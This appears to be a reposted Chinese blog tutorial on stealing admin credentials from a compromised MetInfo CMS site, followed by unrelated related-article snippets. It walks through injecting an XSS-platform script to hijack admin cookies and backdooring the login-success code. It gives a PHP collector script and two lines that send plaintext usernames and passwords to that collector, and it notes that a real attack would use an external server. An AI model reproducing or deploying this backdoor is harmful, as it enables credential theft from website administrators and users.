cookie劫持与明文密码发送

news2024/10/7 4:34:41

一,目的:

1.已经取得web权限,查看数据库后发现md5密码太复杂无法破解,想要窃取网站后台的cookie或者一个账户和明文密码
2.思路1: 准备一个xss平台,把script脚本放在admin登录后可以看的资源文件里,把cookie发送到平台,
然后我们带上接收的cookie,去请求admin 可以访问的资源。
3.思路2:修改代码,在用户登录成功时的那段代码里添加发送明文密码的语句,准备一个接收后台

二,在线xss平台注册与使用

1.在线xss平台链接

2. xss平台的使用

2.1 首先注册,登录,进入首页面,
2.2 点击创建,输入项目名称,项目描述,点击下一步
在这里插入图片描述

在这里插入图片描述
2.3 选择超强模块和基础默认模块
在这里插入图片描述
点击配置
在这里插入图片描述
2.4 点击查看源代码
在这里插入图片描述
在这里插入图片描述
2.5 复制访问地址: xss.yt/pkQh,只要访问了这个地址就能下载一个js文件,如果存在xss漏洞,
那么只需要让这个文件执行就可以获取到对方当前登录的信息和页面的信息。

三,准备phpstudy环境和 metinfo cms源码

1.metinfo7.8源码下载地址

2.下载完把解压后的文件夹放入WWW文件夹下

在这里插入图片描述
打开浏览器输入 http://localhost/metinfo/index.php 进入用户界面
在这里插入图片描述
输入http://localhost/metinfo/admin/index.php 进入 admin 后台登录页面
在这里插入图片描述
代码分析,当用户访问登录页面时,会请求 http://localhost/metinfo/admin/?n=login&c=login&a=dologin
分别表示name,class,action
在这里插入图片描述
根据中的require_once ‘…/app/system/entrance.php’;翻到 ./app/system/我们可以看到很多模块的文件夹,

例如login模块
在这里插入图片描述
找到登录时判断用户名密码的判断方法
在这里插入图片描述

找到用户登录成功时可以访问代码文件,添加一段javascrpt 语句

在这里插入图片描述
使用admin/admin 进行后台登录点击传统后台tab标签页,刷新xss平台
看到cookie信息
在这里插入图片描述
打开burpsuit 和火狐浏览器访问
http://localhost/metinfo/admin/#/home
在这里插入图片描述
点击forward,
替换掉Cookie,把原来的值换成我们截获的
在这里插入图片描述

在这里插入图片描述

关掉burpsuit 拦截,操作页面后发现让我们重新登录,并没有达到可以操作的效果,
因为服务端是通过sessions进行验证的,所以只是截获cookie并没什么卵用。

四,用户名和明文密码劫持

1.在phpstudy WWW目录下新建一个名字为 1的文件夹,其中里面有两个文件,

在这里插入图片描述

get.php是接收用户名密码的,文件内容

<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile = fopen("newfile.txt", "a+");
fwrite($myfile, $u);
fwrite($myfile, '|');
fwrite($myfile, $p);
fwrite($myfile, '\n');
fclose($myfile);
?>

newfile.txt 是一个空文件,用来保存接收到的用户名密码。

找到 登录成功时的代码:添加两行发送用户名和密码的代码:
这里只是做一个演示,如果是实战则搭建外网服务器把url换掉可外网访问

$url='http://localhost/1/get.php?user='.$username."&pass=".$password;
fopen($url, 'r');

在这里插入图片描述
当用户登录成功时就会把密码报错到newfile.txt文件中。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/442016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Tomcatd的详细介绍以及--手写 MyWebServer.java

Tomcat 官方文档 地址: https://tomcat.apache.org/tomcat-8.0-doc/ WEB 开发介绍 1. WEB&#xff0c;在英语中 web 表示网/网络资源(页面,图片,css,js)意思&#xff0c; 它用于表示 WEB 服务器(主机)供浏览器访问的资源 2. WEB 服务器(主机)上供外界访问的 Web 资源分为&…

java类图与代码实例

在 Java编程中&#xff0c;类图是一个非常重要的概念。类图的作用是用来展示类的结构以及类之间的关系。通过类图&#xff0c;可以很方便地展示出对象之间的关系。下面我将使用实例来演示一下我在学习 Java时的类图。 首先我们来看一下我们使用过的类图。 现在&#xff0c;我会…

【Linux】网络配置ifonfig解读

1、配置文件位置 在Linux系统中&#xff0c;IP地址的配置信息通常存储在网络接口配置文件中。不同的发行版可能会将这些文件存放在不同的位置。 以较为流行的Ubuntu和CentOS为例&#xff1a; Ubuntu系统&#xff1a;网络接口配置文件位于/etc/network/interfacesCentOS/RHEL…

Linux之进程知识点

一、什么是进程 进程是一个运行起来的程序。 问题思考&#xff1a; ❓ 思考&#xff1a;程序是文件吗&#xff1f; 是&#xff01;都读到这一章了&#xff0c;这种问题都无需思考&#xff01;文件在磁盘哈。 本章一开始讲的冯诺依曼&#xff0c;磁盘就是外设&#xff0c;和内…

春秋云境:CVE-2022-28060(SQL注入)

目录 一、题目 二、bp抓包跑sqlmap 一、题目 介绍&#xff1a; Victor CMS v1.0 /includes/login.php 存在sql注入 进入靶场&#xff1a; 官方给出的应该是登录界面 admin登录看看 是空白页面 不过看包头应该是POST方式&#xff1a; 二、bp抓包跑sqlmap burp抓包&#xff…

程序员如何把ChatGPT用到开发中

问&#xff1a;ChatGPT是程序员的好帮手&#xff1f;还是要干掉程序员&#xff1f; ChatGPT现在如何了&#xff1f; ChatGPT最近火到不行&#xff0c;在短短几个月时间里&#xff0c;OpenAI打造的ChatGPT就从一个弱小无助的AI聊天程序发展成几乎无所不知、无所不能的强大AI大…

Servlet 详细介绍的代码实列,以及Servlet 流程图和Servlet 流程分析和 @WebServlet源码分析

目录 动态 WEB 开发核心-Servlet 官方文档 对Java Web 技术体系的流程图改造说明(细化).[整体的概念] 什么是 Servlet Servlet(java 服务器小程序)&#xff0c;它的特点: Servlet 在 JavaWeb 项目位置 Servlet 基本使用 编写类HelloServlet去实现 Servlet 接口 在web.…

C#基于ASP.NET实现的共享笔记服务系统

共享笔记服务系统需要实现的功能包括用户的管理&#xff0c;以及笔记信息的管理和使用等。 用户用户需要注册激活&#xff0c;添加自己的个人信息&#xff0c;用户姓名&#xff0c;年龄&#xff0c;性别&#xff0c;民族&#xff0c;身份证号&#xff0c;用户证编号&#xff0c…

QGroungControl在QT中源码编译(包括配置环境)

一、环境配置 VS2019 Qt 5.15.2 1、安装 我原先的Qt版本是5.12的&#xff0c;在编译源码的时候会出错&#xff0c;提示最少需要5.15版本的&#xff0c;于是卸载原来的Qt重新安装5.15.2版本的&#xff01; 网上说5.15以及以上版本的只能在线安装了&#xff0c;所以我参考QT5.…

【hello Linux】详解各种缓冲区

目录 两种缓冲区的说明 用户级缓冲区&#xff1a; 数据如何从用户级缓冲区——>文件内核缓冲区&#xff1f; 刷新策略&#xff1a;对于各种文件的 了解了各种知识之后&#xff0c;使用代码来进行更深理解的认识&#xff1a; Linux&#x1f337; 两种缓冲区的说明 先用一张…

ROS学习笔记(八):ROS2

ROS学习笔记&#xff08;八&#xff09;&#xff1a;ROS2 ROS1存在的问题ROS2ROS2的设计目标ROS2的系统架构ROS2的关键中间件——DDS ROS2的通信模型 ROS1存在的问题 ROS&#xff08;一般ROS均指ROS1&#xff09;经过多年的发展&#xff0c;已成为机器人领域的重要的工具与平台…

【社区图书馆】《uni-app跨平台开发与应用》读书随想录

目录 导言 读书感悟 《uni-app跨平台开发与应用》(从入门到实践)图书目录 作者简介 导言 最近我读了一本关于uni-app跨平台开发与应用的书籍&#xff0c;名为《uni-app跨平台开发与应用从入门到实践》。这本书让我对uni-app跨平台开发与应用有了更深入的了解&#xff0c;作…

HttpServletResponse注意事项和细节和原理示意图

目录 HttpServletResponse HttpServletResponse 介绍 HttpServletResponse 类图 向客户端返回数据方法 处理中文乱码问题-方案 处理中文乱码问题-方案 2 请求重定向 请求重定向原理示意图 应用实例 DownServlet Java类 DownServletNew.java xml配置 请求重定向注意…

Ubuntu中用VSCode交叉编译程序放到从机上运行

文章目录 前言&#xff1a;1. 前期准备&#xff1a;1.1 树莓派系统烧录与虚拟机创建1.2 VSCode拓展下载 2. 树莓派交叉编译链查询与下载2.1 交叉编译链如何判断下哪一个2.2 交叉编译链各种版本含义 3. 开始操作3.1 创建helloworld程序3.2 配置交差编译链3.3 json文件说明与配置…

变压器感量计算

1、L:感量计算LBmax*Ae*Np*R/V0.3*17.1*123*1.8/1.01.15mH 第一步:根据经验确定一个大概的感量值。 第二步:实际Sense电压波形测试&#xff0c;判断有没磁饱和&#xff0c;频率是否正确。 W功率 L感量 变压器 …

学系统集成项目管理工程师(中项)系列08a_合同管理(上)

1. 合同&#xff08;Contract&#xff09; 1.1. 契约 1.2. 广义概念 1.2.1. 以确定各种权利与义务为内容的协议&#xff0c;即只要是当事人之间达成的确定权利义务的协议均为合同&#xff0c;不管它涉及哪个法律部门及何种法律关系 1.2.2. 合同除应包括民法中的合同外&…

HTTP请求UML时序图--(POST)图和(GET)图源码分析及代码分析和MIME 介绍--常用的状态码说明

目录 WEB 开发通信协议-HTTP 什么是 HTTP 协议 介绍 http 请求 hi.html 的 UML时序图 HTTP 请求包分析 1. HTTP 请求包分析(GET)图, 说明 可以通过浏览器抓包分析 代码说明 HTML部分 JAVA部分 web.xml部分 3) 完成测试&#xff0c;并抓包分析 HTTP 请求包分析(POST…

汽车车身钣金—车身连接方式

摘要&#xff1a; 当汽车车身构件遭受严重损伤失去维修意义时,汽车维修厂商一般采用更换部件或总成的方法进行修复。 车身连接方式 当汽车车身构件遭受严重损伤失去维修意义时,汽车维修厂商一般采用更换部件或总成的方法进行修复。 车身外部覆盖件大多由相对独立的板件相互…

场效应管(MOS)基础知识

MOSFET管是常用的半导体器件&#xff0c;又称为开关管、场效应管、英文名称&#xff08;MOSFET),简称MOS管 按元件封装工艺可分为两大类:插件类、贴片类。大部分MOSFET管的外观极其类似&#xff0c;常见的封装种类有T0-252&#xff0c;T0-251&#xff0c;T0-220&#xff0c;T0—…

清华发布工具学习框架,让ChatGPT操控地图、股票查询,贾维斯已来?

文&#xff5c;小戏 首先来考大家一道初中历史题&#xff1a;人区别于动物的根本标志是什么›&#xff1f;书上的标准答案是人会制造与使用工具。那么再来一道思考题&#xff0c;如果 AI 会使用甚至会制造工具了以后&#xff0c;会发生什么呢&#xff1f;是像贾维斯一样的 AI 私…